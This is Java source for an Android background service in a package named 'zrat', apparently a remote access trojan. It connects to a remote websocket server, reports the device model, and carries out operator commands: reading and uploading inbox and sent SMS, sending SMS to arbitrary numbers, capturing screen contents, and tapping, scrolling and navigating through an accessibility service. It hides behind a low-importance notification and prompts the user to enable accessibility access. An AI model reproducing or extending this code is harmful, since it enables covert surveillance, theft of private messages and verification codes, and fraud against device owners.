package com.example.zrat;

import android.Manifest;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Color;
import android.net.Uri;
import android.os.Binder;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.provider.Settings;
import android.telephony.SmsManager;
import android.util.Log;

import androidx.annotation.RequiresApi;
import androidx.core.app.NotificationCompat;

import com.example.zrat.permissions.PermissionManager;
import com.example.zrat.permissions.models.DeniedPermissions;
import com.google.gson.Gson;

import org.apache.commons.collections4.MapUtils;
import org.apache.commons.lang3.StringUtils;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;

import io.socket.client.IO;
import io.socket.client.Socket;
import pub.devrel.easypermissions.EasyPermissions;

public class ZService extends Service {
    private final static String TAG = "ZService";

    private final IBinder binder = new ZBinder();
    private Socket mSocket;

    public ZService() {
    }

    public class ZBinder extends Binder {
        public ZService getService() {
            return ZService.this;
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        super.onStartCommand(intent, flags, startId);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startMyOwnForeground();
        } else {
            startForeground(1, new Notification());
        }
        return Service.START_STICKY;
    }

    @RequiresApi(api = Build.VERSION_CODES.O)
    private void startMyOwnForeground() {
        String NOTIFICATION_CHANNEL_ID = "com.play.service.techno";
        String channelName = "My Background Service";
        NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
        chan.setLightColor(Color.BLUE);
        chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
        NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
        assert manager != null;
        manager.createNotificationChannel(chan);

        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
        Notification notification = notificationBuilder.setOngoing(true)
                .setContentTitle("App is running in background")
                .setPriority(NotificationManager.IMPORTANCE_MIN)
                .setCategory(Notification.CATEGORY_SERVICE)
                .build();
        startForeground(1, notification);
    }

    private String getSocketUrl() {
        try {
            ApplicationInfo appInfo = getPackageManager().getApplicationInfo(getPackageName(), PackageManager.GET_META_DATA);
            Bundle bundle = appInfo.metaData;
            return bundle.getString("socket_url");
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }
        return null;
    }

    private String getModel() {
        String manufacturer = Build.MANUFACTURER;
        String model = Build.MODEL;
        return StringUtils.capitalize(manufacturer) + " " + model;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        try {
            String socketUrl = getSocketUrl();
            IO.Options options = new IO.Options();
            options.path = "/ws";
            options.transports = new String[]{"websocket"};
            mSocket = IO.socket(socketUrl, options);
            mSocket.on(Socket.EVENT_CONNECT, args -> {
                Map<String, Object> map = new HashMap<>();
                map.put("model", getModel());
                JSONObject json = new JSONObject(map);
                mSocket.emit("info", json);
            });
            mSocket.on(Socket.EVENT_DISCONNECT, args -> {
                Log.i(TAG, "socket disconnect ");
            });
            mSocket.on("cmd", args -> {
                Log.d(TAG, "Received command: " + Arrays.toString(args));
                Gson gson = new Gson();
                JSONObject jsonObject = (JSONObject) args[0];
                try {
                    Command command = gson.fromJson(jsonObject.toString(), Command.class);
                    switch (Objects.requireNonNull(command).getAction()) {
                        case "sendSms":
                            handleSendSms(command);
                            break;
                        case "readSms":
                            handleReadSms(command);
                            break;
                        case "getScreen":
                            handleGetScreen(command);
                            break;
                        case "click":
                            handleClick(command);
                            break;
                        case "scrollDown":
                            handleScrollDown(command);
                            break;
                        case "scrollUp":
                            handleScrollUp(command);
                            break;
                        case "home":
                            handleHome(command);
                            break;
                        case "back":
                            handleBack(command);
                            break;
                        case "recent":
                            handleRecentApps(command);
                            break;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            });
            mSocket.connect();
        } catch (Exception e) {
            e.printStackTrace();
        }

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
            PermissionManager.getInstance(this).checkPermissions(
                    Arrays.asList(Manifest.permission.POST_NOTIFICATIONS,
                            Manifest.permission.SEND_SMS,
                            Manifest.permission.READ_SMS),
                    new PermissionManager.PermissionRequestListener() {
                        @Override
                        public void onPermissionGranted() {

                        }

                        @Override
                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                        }
                    });
        } else {
            PermissionManager.getInstance(this).checkPermissions(
                    Arrays.asList(Manifest.permission.SEND_SMS,
                            Manifest.permission.READ_SMS),
                    new PermissionManager.PermissionRequestListener() {
                        @Override
                        public void onPermissionGranted() {
                            if (AccessibilityService.instance == null) {
                                Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
                                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                                startActivity(intent);
                            }
                        }

                        @Override
                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                        }
                    });
        }
    }

    private void handleReadSms(Command command) {
        if (EasyPermissions.hasPermissions(this, Manifest.permission.READ_SMS)) {
            readSms(command.getFrom());
        } else {
            PermissionManager.getInstance(this).checkPermissions(Arrays.asList(Manifest.permission.READ_SMS), new PermissionManager.PermissionRequestListener() {
                @Override
                public void onPermissionGranted() {
                    readSms(command.getFrom());
                }

                @Override
                public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                }
            });
        }
    }

    private void readSms(String socketId) {
        try {
            List<Map<String, String>> list = new ArrayList<>();

            Uri uriSMSURI = Uri.parse("content://sms/inbox");
            Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);

            while (cur.moveToNext() && list.size() < 100) {
                Map<String, String> sms = new HashMap<>();
                Arrays.stream(cur.getColumnNames()).forEach(column -> {
                    int index = cur.getColumnIndex(column);
                    String value = cur.getString(index);
                    sms.put(column, value);
                });
                list.add(sms);
            }

            Uri uriSentURI = Uri.parse("content://sms/sent");
            Cursor sentCursor = this.getApplicationContext().getContentResolver().query(uriSentURI, null, null, null, null);
            while (sentCursor.moveToNext()) {
                Map<String, String> sms = new HashMap<>();
                Arrays.stream(sentCursor.getColumnNames()).forEach(column -> {
                    int index = sentCursor.getColumnIndex(column);
                    String value = sentCursor.getString(index);
                    sms.put(column, value);
                });
                list.add(sms);
            }

            mSocket.emit("result", new JSONObject(new Gson().toJson(
                    new Result(socketId, "readSms", list)
            )));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void handleSendSms(Command command) {
        if (EasyPermissions.hasPermissions(this, Manifest.permission.SEND_SMS)) {
            sendSms(MapUtils.getString(command.getData(), "phone"), MapUtils.getString(command.getData(), "message"));
        } else {
            PermissionManager.getInstance(this)
                    .checkPermissions(Collections.singletonList(Manifest.permission.SEND_SMS),
                            new PermissionManager.PermissionRequestListener() {
                                @Override
                                public void onPermissionGranted() {
                                    sendSms(MapUtils.getString(command.getData(), "phone"),
                                            MapUtils.getString(command.getData(), "message"));
                                }

                                @Override
                                public void onPermissionDenied(DeniedPermissions deniedPermissions) {

                                }
                            });
        }
    }

    private void sendSms(String phone, String message) {
        try {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage(phone, null, message, null, null);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private void handleGetScreen(Command command) {
        if (AccessibilityService.instance != null) {
            Map<String, Object> map = AccessibilityService.instance.getScreen();
            Gson gson = new Gson();
            String json = gson.toJson(map);
            try {
                mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

    private void handleClick(Command command) {
        if (AccessibilityService.instance != null) {
            int x = MapUtils.getInteger(command.getData(), "x");
            int y = MapUtils.getInteger(command.getData(), "y");
            AccessibilityService.instance.performClick(x, y);
        }
    }

    private void handleScrollDown(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.scrollDown();
        }
    }

    private void handleScrollUp(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.scrollUp();
        }
    }

    private void handleHome(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.home();
        }
    }

    private void handleBack(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.back();
        }
    }

    private void handleRecentApps(Command command) {
        if (AccessibilityService.instance != null) {
            AccessibilityService.instance.recent();
        }
    }


}